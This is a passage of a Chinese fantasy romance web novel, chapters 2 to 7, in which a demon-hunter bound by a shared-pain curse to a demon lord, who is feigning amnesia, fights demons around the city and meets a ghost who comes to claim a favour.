《与魔君互通痛觉了怎么破》
2. 猪妖
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“…不曾。”符月炳提剑走来,看了眼姜长泠那掌中奇怪的符文,又道:“或许这是一种苗疆的降头之术,将一人性命系于另一人身上。”
“降头…”萧烬抬起手掌,掌中赫然刻着个与姜长泠掌中一模一样的血色符咒,“…罢了,先为她疗伤。”
符月炳蹲下,三指搭上姜长泠的脉搏,匆忙切脉后就将灵力探入了她体内。
一阵强盛冰冷的灵流自她的手腕而入,像是一条游蛇,所及之处的灼热都被蚕食而过,不过一会凉意就遍布全身。
恍惚间,姜长泠还以为那厉鬼又附身了。
“公子可有好转?”符月炳问道。
“嗯,难怪这伤本公子自身疗愈不了。”萧烬感知着体内莫名的疼痛逐步消散,看着那手掌愈合如初,“若是这道符文消失,可否说明降头已解?”
符月炳也不太确定答道:“若是达到了下降之人的意愿,降头也应当被化解吧。”
话音刚落,姜长泠的指尖蓦然动了动,只感觉意识逐渐清明可耳旁却像是沉于水渊之中,一片朦胧寂静,眼珠也几经周转却掀不开眼皮。
萧烬垂眸扫了一眼,冷哼一声:“那看来此人的意愿不过是想让本公子救她一命。”
“那她现在如何了?”
符月炳继而输送着灵力道:“脉搏快且细,是血虚,多处经脉受损导致血供不足,若是再等晚些恐怕…”
“恐怕什么?”萧烬问。
“恐怕会晕厥,不过倒也没有到无力回天的地步。”符月炳抽回手站起身来。
萧烬又问:“她痊愈否?”
“属下已为她恢复八成,还剩下二成需喝药调理。”符月炳答。
“…喝药?本公子已仁至义尽。”萧烬嗤笑一声便欲走,却又在转身时凝住。
那墨谭般的眸子继而又看向躺在地上一脸胡乱血迹的姜长泠,眉头轻蹙,手指向系在脖子前的大氅一解扔下。
此时他才转身离开念道:“仁至义尽。”
“明天继续盯着她,看看这究竟是何方神圣。”
“是。”
两人渐行渐远后,姜长泠终于睁开眼睛,只感觉冷硬的地面硌得她的头生疼,不过除此之外她便没有任何不适了。
她坐起身来,发现身上还盖着一件尚有余温的毛绒大氅,疑惑间,就转头看见一旁睡得正酣的白祝锦。
白祝锦又是怎么倒了,那两个陌生的男子呢?
记忆被迫垄断。
“白祝锦。”姜长泠喊了他一声,见他没反应,她站起身来走到了他身前,“白祝锦?”
白祝锦依旧没反应,姜长泠只好蹲下拍了拍他的脸,继而又搭上他的脉搏,灌入了一丝灵力。
她怔然,怎么在一个晕厥间隙后她还气色大好如初,灵力竭尽却又恢复了全盛?
莫非是那两陌生的男子路过帮了她?可非亲非故为何要大费周章帮她疗伤?
这么想着时,那一丝灵力已然唤醒了白祝锦,他似是突破了梦魇,一惊坐起后看向她喘着粗气:“...我我方才梦见你化为了厉鬼,将那虎妖撕碎了食其肉饮其血,那场面血腥至极...”
姜长泠:“...”
其实亦不是不能发生。
“话说回来方才有两位兄台经过此处拔剑相助,不曾想竟深藏功与名走得如此之快。”说完,白祝锦又朝远处瞄了瞄。
那两人影没瞄到,却瞄到了零零散散的几个人正从街道那头缓缓前来。
“诶!是邵师兄!”白祝锦不顾疼痛猛然站起身,朝着邵楚挥了挥手。
姜长泠愣道:“你的伤也好了吗?”
“嗯?什么伤?”白祝锦一头雾水。
“没什么。”姜长泠压下心中的疑惑站起身来看向不远处。
邵楚一袭白袍迈着沉稳的步伐走来,身后还跟着零丁几个看热闹的百姓和妖都来的几个同门。
不过与邵楚那高阶捉妖师身份不匹的是,他穿着草鞋。
“师兄你怎么才来,虎妖都死了。”白祝锦有些埋怨。
邵楚优雅走到了他们跟前,春风和煦:“抱歉,师兄来晚了。”
继而他又转头看向姜长泠,脸色一变:“师妹!你如何了?可有哪里受伤?!”
姜长泠摇摇头:“无事。”
“怎可能!你脸上如此多血污。”邵楚说着就要给姜长泠擦脸,另一只手还去抓她的手腕。
姜长泠连连后退躲婉拒:“多谢师兄关心,长泠真无大碍。”
“师兄我胸口好像有点痛。”白祝锦嘟囔了一声凑上前去。
“那就好。”邵楚点点头收回视线,忍住恶寒佯装看不见白祝锦转身而去,“你们几个把虎妖的尸体收了。”
其中一个低阶捉妖师应声点头便拿出降妖袋。
白祝锦只好一脸委屈地默默揉着胸口退下…
见状,姜长泠又上前了一步:“且慢,那虎妖脖颈间分明有束灵烙印却灵力强盛,想必此事必有蹊跷,不如将尸体带回妖都禀报督办大人后再作处置?”
“竟有此事?”邵楚听完愣两愣,往那心口被捅了个窟洞的虎妖走去,远远看去的确有一道束灵烙印。
一旦被烙上束灵烙印的妖,无论修为有多高,灵力都将消散与人无二异,绝无无转圜之地。
这虎妖竟是个意外。
“确有古怪,先带回妖都吧。”邵楚摸了摸下巴,又道,“这会督办大人已经歇下了,这事等明日转芒堂朝会再议吧。”
捉妖师手上的降妖袋又再次撑开,略施一道灵力,那虎妖的尸体便化成一缕轻烟收进了降妖袋中,随即拱手道:“若是师兄师姐没吩咐的话,那师弟先回妖都复命了。”
邵楚颔首挥挥手,愕然抬头才发现百姓已经站在远处将这围了个水泄不通。
数十百双的眼睛正盯着他们看,似要他们给个交代出来。
“各位不必担心,虎妖已死,今日一事不过纯属意外,我们妖都的捉妖力度严厉大家可是有目共睹的啊!”邵楚脸上绽开一抹笑容,声音中气十足。
围观的百姓似是被打动,纷纷点头抬手鼓掌。
“不愧是邵道长啊!”
“就是啊!”
“有邵道长在就是安心!”
邵楚满意点头:“都散了吧各位。”
百姓应声散去,邵楚一回过头来发现姜长泠手里多了一件大氅,脸色又一变指向白祝锦:“这是什么?!是这小子送你的吗?”
白祝锦正涣散着眼神揉着胸口,才回过神来:“啊?”
姜长泠百口莫辩摇摇头:“这…这是…”
“这不是方才经过的两位兄台其中一位身上披的大氅吗?”白祝锦看向大氅,“这上好的面料绒毛,做工也精细,竟舍得随手一丢,这哪是路见不平,这简直是活菩萨啊!”
姜长泠一怔。
“什么活菩萨?说详细点。”邵楚脸色不虞。
白祝锦随即生动形象地把方才发生的事情都来龙去脉都演了一遍,最后泪流满面道:“师兄…你知道吗…就差那么一点!我就要死了…差点再也见不到爹娘了…呜呜呜…”
“那虎妖真当有如此厉害?怕不是自导自演。”邵楚喃喃道,“师妹,你可要小心别被这种江湖术士给骗了。”
姜长泠一听,眉头便轻蹙了起来:“师兄,人命断不能轻易玩笑,白祝锦所说属实非虚,若是有心人演这一出戏码,目的又是为何呢?”
“或许是想突出我们妖都捉妖师无能,趁机打压减税亦有可能。”邵楚摇摇头,只当姜长泠涉世未深,初出茅庐,“师妹,你还是太年轻。”
“呜呜呜,我差点也要见不着你们了…”白祝锦哭天喊地,把世上所有能见的人都喊了一遍。
姜长泠安抚地拍了拍他的背,想着自己伤势痊愈这点说出来也无人敢信,干脆沉默咽下,日后有空再找到这大氅的主人解惑一二。
“师兄今日所言长泠谨记于心。”姜长泠敛了神色,躬身拱手,“若是没什么事,长泠先回去了。”
“嗯,路上小心。”邵楚不舍地看向她,“需要师兄陪你回去吗?”
“多谢师兄好意了。”姜长泠礼貌笑笑便转
3. 再遇
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“我已知晓,立即前往。”姜长泠也抽出了一张传音符回应。
白祝锦也刚烧完一张传音符回应了另一头的师弟,疑惑嘟囔道:“怎么今日来得如此之早。”
姜长泠已然动身:“今日不巧了,改日再聊。”
*
姜长泠到芳沁客栈时,里面已经乱成了一锅粥,一名低阶的捉妖师还在门口站着胡乱地丢符纸。
“师弟这里发生了何事,猪妖呢?”姜长泠走到他身旁问道。
师弟神色惊恐,打出符纸的手还不停歇:“师姐你有所不知,那猪妖通体粉得发紫,体格庞大得吓人,明明看着像是刚开灵识的猪妖,身手却矫健,一来二去顶飞了许多客人,此刻应该还躲在里面的炊房不出来。”
姜长泠若有所思点点头,拦住了他再打符纸的动作:“不必再丢符纸了,你留在此地不要让其他人靠近这间客栈。”
“是,师姐小心。”师弟道。
一踏进客栈,便是满地的残渣碎片,整个客栈充斥着安静的诡谲,姜长泠手拿符纸,避开地上的细碎,静悄悄地往炊房靠近。
越是靠近越是能听到啃吃食物飞溅多汁的声音。
突然,楼上一阵木门被推开的吱呀声响起,引起了姜长泠警觉,她转头望去,一名身形修长,贵气清雅的人正拎着一剂药材推门而出。
一瞬间,姜长泠便觉得这人好生眼熟。
没等她细想,炊房的咀嚼声音早已停下,取而代之的是一声尖锐猪叫,而声音由远及近向她猛然冲来。
她还未看得清猪妖,只窥见到一片粉白便被猪妖撞得头晕目眩跌倒在地。
待她从地上坐起,便看见那猪妖满身肥膘正撒开着四肢往二楼奔去,嘴上还残留着一片猩渍。
明显是奔着二楼的男子去的。
顾不上疼痛,她连忙从地上起身一跃上二楼,赶在了猪妖之前挡在了那男子身前,面对着面目狰狞正横冲来的猪妖,她迅速从袖中打出了一张镇妖符。
符咒落下,猪妖动作骤停,姜长泠双指一点便唤出缚妖绳向那猪妖捆去。
经历过虎妖一事,姜长泠已经变得对自己的缚妖绳不那么信任。
于是她又掏出一个降妖袋朝猪妖略微一施法,将猪妖收入囊中。
收服好猪妖后,她才转身看向那位男子,原本她想问他可否有事,可一瞧见他便愣住了。
因为太面熟了,似乎就是昨晚丢大氅给他之人。
气氛僵持了一会,萧烬不禁挑了下眉,还未出声就见那降妖袋逐渐涨大,像是有什么灌进去气体了一般。
下一瞬,那降妖袋便在他面炸开来,强劲的灵流威压四散开来。
姜长泠抬起手抵挡,待那威压散去后才放下手。
而那猪妖已然将那名男子拱倒在地!
她双掌一击立马唤出一条缚妖绳向那猪妖冲去。
等她将缚妖绳攥在手紧勒住猪妖的脖颈时,她才猛然发现,这猪妖已经没有生息,软趴趴地往一边倒去,继而露出一张清逸俊秀的脸。
“公子可有事?”
萧烬轻皱着眉头,对上那一双诚挚灵动的双眸,昨晚这女子分明是要害他,为何今天又要救他?
难不成这不是降头,而是除他们之外存在的某种诅咒?
他缓缓点点头道:“嘶...头好像有点疼,你是谁?我这是在哪里?”
如今她的处境危险会祸及于他,不如先按兵不动,以退为进了解一下这个女子究竟是何人。
姜长泠一时比他还懵,方才那冲破降妖袋的猪妖就这么无声无息倒下是怎么做到的?
而面前这位公子竟然被猪妖撞到失忆了?
“方才那猪妖向你扑来,你都没印象了吗?”姜长泠犹豫问道。
萧烬无奈道:“好像有一点...但我记不清了。”
姜长泠见他手里还拿着一剂药,衣着还不菲,大概断定他应该是城中的某个贵府公子。
可是昨日才见这公子旁明明有个仆从跟随,这会怎么不见了?
“你先起来吧。”姜长泠将他扶起,又问道,“那你还记得你叫什么吗?”
萧烬佯装努力思考了一番:“我姓萧,其他的我都记不起来了。”
而这时,猪嚎又接二连三的在炊房方向响起,姜长泠转过身看去,不知何处又多了三只通体紫红的猪妖再从房门冲出直奔向二楼。
萧烬的反应比姜长泠还要更淡定一些,眼神中的清澈顿时化为了凛冽的寒光看向猪妖。
方才他被这猪妖所扑倒不过是上演苦肉计需要,可没想到这群蠢猪竟真觉得他好惹。
隐约的威压弥散铺地,猪妖们的步伐忽然在楼梯间慢了下来,踌躇不前,血色的瞳孔中透露了一丝疑惑。
姜长泠手抓着缚妖绳面向猪妖,一时没想明白这行为的意义。
趁此间,她便瞧见了这三只猪妖身上都有着同一个不明印记,而且印记的颜色还在不断加深...
这猪妖来历不明,她也不敢轻举妄动,正要掏出符咒,那猪妖便开始蠢蠢欲动,怒嚎一声猛然踏地就朝她冲来!
“公子小心!”姜长泠向旁躲闪过一只猪妖,再往萧烬的方向看去,那猪妖全然没有要攻击萧烬的想法,又折返回来朝她奔来。
刹那间,姜长泠便明白这猪妖的目标是她,正要一手抓住二楼栏杆的翻身跃下,就在此间隙另一只猪妖已然张开了獠牙咬了她一口!
跳至一楼,姜长泠倒吸了一口凉气,若不是她松手松得快一些,恐怕被这猪妖啃出白骨。
她顶着疼痛从袖中抽出符咒准备与这三只猪妖周旋。
站着二楼的萧烬垂眸默默地看了一眼自己同样受伤的手背,不禁叹息一声。
这女子究竟和他有何渊源?
紧接着他一个闪身在转眼间消失,随后出现在客栈外的人群之中,他与呆在人群中的符月炳碰面,神色复杂地落下一句:“去帮她吧。”
符月炳也愣了愣:“莫非是降头还未解开?”
“事情并非如此简单。”萧烬语气淡漠,迈开步子便绕开客栈向后门走去。
抛开是谁让他与这名女子生
4. 支援
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姜长泠正思忖之际,面前又降下一张传音符,上面传来一个陌生而颤巍的男声:“是长泠...师姐吗,白师兄被打得不行了,请来醉归坊支援。”
这声音一听便觉得陌生,并不是她所熟悉的师弟,况且这种情况不应先找其他高阶的师兄求助?
虽各种问题萦绕在她脑中,她还是决然起身前往,捏起传音符时,她如何都想不起那陌生师弟的通传灵力是何感受,只好传给了白祝锦。
“撑住,我来帮你了。”
传音符烧完,姜长泠便对萧烬拱手道:“城中妖祸频发,四处危险,还请萧公子原地等候或去报官,在下还有要紧事,恕不奉陪。”
说完,姜长泠便转身离开了。
萧烬站在原地盯着她的背影轻叹了口气,不禁揉了揉太阳穴。
人间的捉妖师怎都如此忙碌,还天天处在水深火热之中。
*
姜长泠快接近醉归坊时,方圆几里已是空无一人的状态,与她那芳沁客栈的人气差了十万八千里。
而那醉归坊的门前便站着一个师弟,正焦急地往里面左顾右盼,手还夹着一张符纸。
姜长泠刚走到他身旁,便听见酒坊里面不断有砸碎的声音传来。
师弟察觉到她到来,如同抓到了救命稻草一般:“师姐!快救救白师兄!白师兄快被那鼠妖咬死了!”
姜长泠应声踏进酒坊,一瞬间便看到两只身长约有十尺高的精壮鼠妖正上蹿下跳围着白祝锦追。
这里的鼠妖显然要比客栈的猪妖修为高上一筹。
而此时的白祝锦在二楼跑着浑身血痕,饶是抽空看了她一眼也无力回话。
姜长泠连忙跃上二楼唤出一条缚妖绳将白祝锦身后那要扑上来的鼠妖捆住:“你先走,剩下交给我布阵。”
白祝锦微弱地嗯了一声,便翻身下了楼,而另一只鼠妖正要朝他扑来!而姜长泠另一只手也召出缚妖绳将其牵制住不得动弹。
于是两只鼠妖还在往白祝锦的方向追扯,却被姜长泠捆住不为所动,眼睁睁看着白祝锦出门。
两只鼠妖意识过来后才回头向姜长泠看去。
姜长泠手上骤然一松,那两只鼠妖便猛然改变了方向争前抢后向她扑来!
她迅速抽回缠在虎妖的缚妖绳,退后数步在墙上拍下一张结界符。
荧蓝色的灵流瞬时从结界符里从四面八方爬去,直到包围住整个酒坊。
紧接着姜长泠看了眼地貌,敏捷躲过两只的鼠妖飞扑,用缚妖绳缠绕住一角柱子作为定点开始布阵。
好在酒坊够大,姜长泠牵着缚妖绳不断从二楼跳到一楼,拉扯绕过四方柱子,期间听着鼠妖的嘶吼近在咫尺,每一次都是恰好避开。
反复以往后,两只鼠妖逐渐发现自己行动受限,而整片酒坊已经被姜长泠的缚妖绳所围绕,形成四象星宿的阵法,活像是一片莹蓝色的蛛丝网。
牵制许久,姜长泠不免也有些体力不支,停下来将最后一根缚妖绳缠好,一束束雷息便从绳子的末端滚涌而上打至鼠妖身上。
刹那间鼠叫连篇。
姜长泠也无心再顾及这两只鼠妖,连忙撤下了结界去看白祝锦。
白祝锦在一出门便瘫倒在地,此时正奄奄一息地躺在师弟怀里。
“其他师兄呢?”姜长泠蹲下身问道。
师弟抱着白祝锦,仿佛是有一条生命在他手中流逝,哭着道:“没有人来救,一个人也没有。”
姜长泠看着白祝锦浑身被抓得皮开肉绽不禁皱起眉,伸出双指往他的脉搏探去。
虽然她不懂医,但是也能察觉到白祝锦气若游丝,脉搏细不可闻。
可现如今,她的灵力正耗费在捆住鼠妖之上,无神再输灵力给白祝锦吊命,而且这鼠妖的修为还在逐步增强。
“别...管我。”白祝锦眼睛半睁不睁,似乎是想撑住这困意。
“你再坚持一会。”姜长泠轻声安抚,起身一跃上屋檐。
若是这鼠妖与她遇见的猪妖性质一般,那也必定是有一人在背后操盘。
果不其然,她一跃上屋顶,便有一人吓得踩动了砖瓦,正要去把这人揪出,这人却一溜烟地跑了。
姜长泠本想追,想了想还是先回去把鼠妖收拾了救白祝锦。
等她下来时,便发现整个酒坊忽然变得安静了许多,往酒坊看去,两只鼠妖被斩首,正挂在在她的缚妖绳上,鲜血流了一地...
她连忙收回缚妖绳,看向站在她布下的阵法内的男子,拱手道:“多谢道友再次相救。”
来人正是符月炳,他神情淡漠地回了一礼:“不过是路见不平。”
说完,姜长泠便准备输灵力给昏死过去的白祝锦。
而站着的符月炳原想着功成身退,可看到自家公子又在不远处闭眼颔首了,他立即便懂了怎么回事。
接着他又折返回去,不咸不淡对着姜长泠道:“这位道友,你这朋友伤势瞧着属实严重,在下略懂医术皮毛,不如让我来试试诊治如何?”
姜长泠有些怔然,错开身后便再次表达感谢:“多谢相助。”
符月炳蹲下,毫无察觉地叹了口气,便搭上他的脉搏缓缓注入灵流。
若非亲眼所见,姜长泠竟不知城中还有此等人物,谦称自己略懂医术皮毛,实则医武双休,武术医术亦不差。
眼看着白祝锦绽开的伤口逐渐被复原,气色也好转了起来,符月炳终是松了手。
“师兄!师兄!你活过来了!”师弟感觉怀里抱着的人又有了温感,“在世华佗啊!恩人!”
被晃醒的白祝锦发现自己还没咽气,便跟师弟抱在一块痛哭流涕:“啊?我没死啊!师弟!呜呜呜!”
白祝锦跟师弟抱完后又转头去拉符月炳的衣摆:“恩人,你定要留下姓名!”
正当他要抬头看向符月炳时,忽而两眼闭上昏了过去。
“恩人,这是怎么了?”师弟摇了摇白祝锦那沉甸甸的脑袋。
符月炳压住脸上诧异,不用抬头也知道这是他家公子的手笔。
于是他一脸正经解释道:“许是醒得太快,血液冲撞了导致昏迷,过会就醒了,这位道友已无大碍请各位放心。”
“谢恩人。”师弟抹了一把鼻涕。
符月炳见没事便拱手离去。
这时,师弟面前才纷纷降下数张传音符。
5. 眼熟
众捉妖师接到潘秉坤的传令纷纷都回到了转芒堂。
堂内一时人声鼎沸,每个捉妖师身上都负了不大不小的伤,你看看我我看看你的。
而潘秉坤在堂上眉头微微拧起,一脸凝重地望着堂下的人。
今日连站在他身旁向来阿谀奉承的史监也不敢幸灾乐祸了,毕竟他对今日要议的事有预感,乃为对妖都办事处有所威胁的大事。
于是就在他瞥潘秉坤的第三次的时候,潘秉坤的惊堂木总算是拍下了桌子。
他连忙跟上叫道:“肃静。”
气氛瞬时静了下来,姜长泠站在人群中低着头,总算是感受到了冬天带来的寂寥之感。
潘秉坤清了两嗓子,轻声抚慰道:“方才举城上下皆遇妖孽袭击,大家都可还无恙?”
此话一出,众捉妖师中耗费了大量的灵力的和被打得浑身伤口的面面相觑,相顾无言后最终还是给出了统一回答:“下属无恙。”
潘秉坤欣慰地点点头,仿佛真的接纳了堂下人的说法,又蹙眉叹了口气:“真是辛苦你们了,本督办也是刚才接到二处的紧急情报。”
话锋一转,众人屏息凝神起来。
“此次妖潮袭来,乃是妖都二处曾捕下的罪妖聚首对我们妖都的一次报复打击。”潘秉坤本还语气严肃,忽而拍下惊堂木变得激愤起来,“这些罪妖们好一个声东击西!”
“公然在二处下了战帖挑衅,却转眼间来到三处为祸民间!狡猾至极!”
此时邵楚低头拱手猛然站出道:“那如今青竹城内应是万分危险,据同门所述还有许多余孽还尚未根除。”
这一句话一出,堂上之人久久没有回音,他斗胆抬头一看,便见潘秉坤竟出奇地绽开了嘴角。
“不必了。”潘秉坤突然说,“余孽潜逃已与你们无关,剩下的二处自会处理,你们该负责的已经做到位了。”
“保护百姓、同门安危,抵御妖邪,你们做得很好。”
邵楚怔了怔又躬身回退回去:“谢督办。”
“薛朝。”潘秉坤叫了一声。
“诶,下属在。”史监薛朝应了一声。
“跟着他们去走访细数城中百姓受损财物,记下来,随后上报支部,让百姓自己来妖都领钱,这事你们史部全权负责。”潘秉坤道,“还有捉妖师需看病救治的亦可以与薛朝说。”
“低阶捉妖师不参与本次议事,由你们代为通传,都可明白?”
“下属明白。”众人齐答。
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潘秉坤一挥袖:“嗯,都散了吧。”
话音一落,转芒堂内便沸腾了起来,热热哄哄地向薛朝围了上去。
“你们别挤着我了,一个一个慢慢来啊!那谁啊,史部的人不用干活是吧!来帮忙呀!”薛朝一个劲的扯着嗓子喊。
而姜长泠不需赔付,想尽早远离这一片喧嚣时,干脆拉住了一个史部的同门告知了他遇袭地点后便准备离去。
姜长泠一踏出大门,便是沁入鼻息的冰凉,再抬眸望去,便见到漫天霜色中站着一高大的男子,一身纯白鎏金纹路的长袍衬得身形欣长,似要与雪融为一体。
而灿盛的日光倾泻而下,映照在男子俊逸的脸上,而那双好看的眸子正朝她看来。
姜长泠不由被吸引了一瞬,随后又回过神来向他走去:“萧公子?”
萧烬终于在百无聊赖中等到了姜长泠出来,他抚下心中的郁闷,轻声问道:“不知姑娘如何称谓?”
“姜长泠。”姜长泠习惯行了一礼,又问道:“萧公子今日被猪妖所撞,除记不清事外可还有其他不适?”
萧烬摇摇头,勾了勾嘴角道:“多谢姜捉妖师关心,萧某如今记不清事,只觉姜捉妖师眼熟,不知姜捉妖师可否愿意帮助萧某一把?”
6. 人情
姜长泠本想说昨夜他出手相助一事,但思忖片刻便觉得对失忆之人讲岂不是对牛弹琴。
于是她秉持着感恩之心,点了点头:“愿尽绵薄之力。”
雪色照着姜长泠干净的瞳孔,长长的睫羽落下,不过是让她增添了几分乌郁。
料谁来看也觉得与那会下降头的狠厉角色完全不沾边。
萧烬眸中划过的疑惑转瞬即逝,温声道:“不知是否能在这城中找到萧某所住之地?今日被一撞,睁开眼后便感觉天地浑然陌生,愣是一点印象都没有了。”
姜长泠思虑一会,便开口道:“萧公子大约是城中贵府之人,在城中稍作打听应很快能寻到。”
“随我来吧。”
闻言,萧烬侧身让步,不禁觉得姜长泠还算是有些眼力。
他确是贵族之人,不过还是魔界贵族,贵为魔君。
“今日幸见妖都办事的风采,不知妖都办事处是个什么样的地方?”萧烬问道。
姜长泠跟萧烬并肩走着,听完萧烬说的话,不禁有些诧异,不过转念一想,城中平民百姓也应有许多人并不完全了解妖都办事处。
“妖都办事处是专门负责人与妖之间的案件,分别为三处管辖地,青竹城为三处,其余的二处和一处都在不同城中,其中一处的权力最高。”
“而妖都中分别都会有不同阶级的捉妖师,分别为低、中、高,大概是这样。”
萧烬若有所思地点点头,又问道:“那姜捉妖师属于什么阶的?”
“我...我现在不过是个中阶捉妖师。”姜长泠似乎是没想到萧烬会问她这个问题,回答得不免有些磕绊。
“中阶就如此厉害了,萧某敬佩。”萧烬道。
姜长泠愣道:“萧公子言重了。”
*
夕阳西下,天边已被染成一片橘黄。
不知不觉中,两人已经找遍了青竹城上下,愣是没有打听到一家姓萧的府邸,且连失踪人口也打听了,根本没有一户能与萧烬对得上号。
无奈之下,姜长泠只好报了官让其告示。
折腾完这些,还剩下最后一个方法,便是带萧烬去医治,不过可惜的是大多数医馆已经打了烊了。
姜长泠开始有点后悔没有与那救下白祝锦会点医术的道友结识了。
走在路上,萧烬佯装着流露出难堪道:“给你添麻烦了。”
“不麻烦不麻烦。”姜长泠逞强笑道。
就在这时,空中降下一张传字符,上面写着放班二字。
这意味着她可以回妖都的公膳堂吃饭了。
事已至此,这萧公子仍未找到归宿,这可如何是好?
她惆怅地接下传字符。
“为表谢意,不如今晚萧某请你吃顿饭吧。”萧烬摸索着衣袖,找出了一大袋钱袋颠了颠,“今日便发现在身上的。”
“萧公子不必如此客气。”姜长泠礼貌笑笑,“出门在外,钱财还是要保管好,不要轻易外现,以免有心之人。”
“那如何好意思。”说完,萧烬还要从那钱袋里掏出两金子出来捧在手上递给她,“虽没有功劳也有苦劳,你就收下吧。”
见财物之贵重,姜长泠连忙将他掌心收拢推回:“不可取不可取,快将财宝收回。”
萧烬见她神色有些慌乱呆滞,本还以为她对钱财还是有一定的贪念。
谁知,姜长泠却说:“其实昨夜我应当与萧公子见过一面的,只是那时我因捉妖受伤太过虚弱,只与你面谈过两句后便晕了,醒来后便发现自己被治愈好了,身上还多了一件大氅。”
“若无意外,应当是你给我的,是我要多谢你才是。”
两人的动作停滞在半空许久,姜长泠说了一长串话才发现,后又连忙将手收了回来。
萧烬佯装似懂非懂地点点头,终于将财宝收了回去,在心里默默点评:此人貌似不爱财,心底还算善良。
“这张字符,是代表你要去忙了吧?”萧烬指着她手中的字符,温和一笑,“今日多谢你带我从城中走了一圈,我已大概了解地形,今晚我会自己寻地方落脚,不用麻烦你了。”
姜长泠看着他眸中倒映的碎光,诚挚且温润,不免觉得眼前之人是个十足单纯善良的人。
她不免多担忧上几分,从袖中抽出了三张传音符递给了他。
萧烬迟疑着接下:“这是?”
“这是传音符,捉妖师之间用的传讯方法。”姜长泠解释着。
“虽然你为凡人,但我可以将部分灵力存于你手上,若是你遇到什么危险需要帮忙,便可以拿出传音符叫一声我的名字,然后告知我所在的位置,这样我就能收到来帮你了。”
“原来如此,多谢了。”萧烬不动声色地挑了下眉,将传音符收入衣袖。
于是姜长泠双指在空中向萧烬一点,一道灵力便缓缓释出流向萧烬的手腕处。
捉妖师之间传讯都是靠着感识、辨识对方的灵流而烧传音符的,这种方法的前提是大家有过灵流互汇。
而予萧烬的这种方法,此前她从未试验过,也只在书上瞧见过方法。
不由得有些没把握。
施法完毕,姜长泠便道:“你试试。”
萧烬应声拿起一张传音符,温声道:“姜长泠。”
话音落下,可传音符上并没有任何灵流过的痕迹。
姜长泠不禁皱下了眉,便想着上手握住萧烬的手腕,手抬起一半时,她问道:“介意我抓你的手腕吗?”
“请便。”萧烬看着她,心里想着她还能变出什么花样。
于是姜长泠白皙温暖的手便覆握住他冰凉的手腕,再次缓缓注入灵力。
萧烬眸光落下便瞧见了她手背的伤。
“好了,你再试试?”姜长泠松开他。
萧烬又叫了一声:“姜长泠。”
话落,这次的符纸上便即刻染上了蓝色的灵流。
姜长泠又道:“等你说完后就可以松开了。”
萧烬应声松了手,传音符便向下飘去,被灵力燃尽后又再次漂浮到姜长泠面前。
“成功了。”姜长泠眼底划过一抹亮光。
“原来是这么用,多谢赐教。”萧烬勾了勾唇角。
姜长泠又多拿出一张传音符给他:“路上保重。”
“嗯,你快去忙吧。”萧烬接过传音符。
姜长泠行完一礼后便转身离开了。
萧烬望了一眼她离开的背影,随即也背身走去,垂眸拿起传音符翻看了一遍。
轻嗤一声后将传音符收入袖中抬步离去。
也不知是谁更需要这张传音符。
*
妖都公膳堂内,人来人往,人生鼎沸。
姜长泠去拿了食盘装好饭菜便打算寻个位子坐,而人群之中忽而蹦出一个中气十足的声音朝她喊道:“姜长泠!这里!”
她循声看去,白祝锦正独坐一空席朝她挥手,衣服已经换上了新的,食盘里的食物可谓是丰盛至极。
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她略带疑惑地端着盘子向白祝锦那走去,放下食盘时,她便问:“怎么今日闲得来公膳堂用膳了?”
白祝锦是妖都中少有的富家子弟,平日几乎不在公膳堂用膳。
闻言,白祝锦挠挠头,嘀咕道:“今日我不是被两只鼠妖夹击了嘛,我一身血衣想回去更衣,明明已经让府上的丫鬟不要外泄,却还是被我爹娘发现了,还好身上的伤已经被那路过的道友治好了,不至于被骂得太惨。”
“我回家吃饭肯定还要被骂一顿,我还是等他们气消了吧。”说完,他又耸了耸肩。
姜长泠闷头吃着饭,闻言问道:“何苦要当捉妖师呢?”
明明可以当一个潇洒的公子哥的。
“因为喜欢呀,他们都觉得这是旁门左道,不务正业,可我觉得当捉妖师虽可能随时游离于生死之间,但也算是保护了百姓,功德无量,总比当那游手好闲的公子哥要好。”白祝锦想了想,又问,“那你呢,又因何想当捉妖师,爹娘不反对吗?”
姜长泠拿起的木箸忽而顿住。
对于她爹娘的记忆,似乎已然隔了很久尘封在脑海之中。
无人问津,无人想知的过去,就连她自己都想忘却。
似乎是在她三四岁那年,她总囔囔着能见到一些她爹娘见不到的人,还在村中被人骂着怪胎。
然五岁时,她娘自缢,她爹便把她弃养了。
后来她被一对妖夫妇收养了,印象中这对夫妇明明对她很好,可她却对这段亲情感知十分模糊,甚至现在连他们的模样都记不清楚了。
再后来,十岁那年,她的养父养母离开家后,就再也没回来过,最后她在家中被一名捉妖师发现,便带去了雁来山——妖都训练捉妖师的地方。
而她幸有灵根被收留,期间教过她的老师数不胜数,无一不夸不过她灵智高。
于是她便在雁来山练了七年,最后被安排在妖都办事处三处的青竹城中当低阶捉妖师。
一年后,在第一次升阶考核中便升为了中阶捉妖师至今。
“怎么不说话?”白祝锦疑惑问道。
姜长泠回过神来,才道:“我被弃养过,最后是在雁来山长大的。”
白祝锦瞬时呛住了,咳了好几声才平复下来:“抱歉,我不该问你这些的。”
随后他又看向了姜长泠食盘里的饭菜道:“你怎么吃如此少?”
于是没等姜长泠回应,他便大肆地从自己的食盘里夹起大鱼大肉往姜长泠的食盘里送。
姜长泠反应过来后,马上摆摆手:“不用不用,我平日里本就这点食量,你再夹得多我也吃不完。”
“不必客气,你吃便是。”
*
用完膳出食堂后,天已完全黑了下来。
姜长泠与白祝锦分别后,回到了妖都分配的住处。
一方庭院中,四方连廊里只有两间房屋亮了灯。
这里共住着五名中阶捉妖师,与她一样,都是女子。
她回到自己房中,亮起了灯盏时便看见了那一件大氅被折叠整齐地放在她的床上。
昨晚太累,今早只顾着叠好还没纳入柜子。
她拿起大氅放入柜子,心想着明天便能将这大氅物归原主时,整个房屋的光线便开始忽明忽暗。
姜长泠手上的动作一顿,立即警觉起来从袖中抽出一张符咒。
待她准备转身之际,一个沉重的声音便在她背后响起。
“捉妖师,你可还记得欠我个人情?”
7. 钱家
姜长泠回想起昨夜在绝境之中请鬼附身时,的确说过这么一番话。
“记得。”姜长泠转过身去,看着摇曳不定的灯火之上赫然聚拢着一团黑雾。
“晚辈在此先谢过前辈相助。”姜长泠道,“只是晚辈不知前辈为何想要夺舍?”
闻言,黑雾滚滚而动,围绕着烛火转了几圈,声音从浑厚忽变得清晰:“昨夜的夺舍之念并非我所能控,是我不对了,抱歉。”
姜长泠依旧没放下警惕,眼看着黑雾飘转落地,一名男子便从黑雾中走出,雾气也随之向后消散。
是一张剑眉星目的脸,不过看上去已有三十年岁。
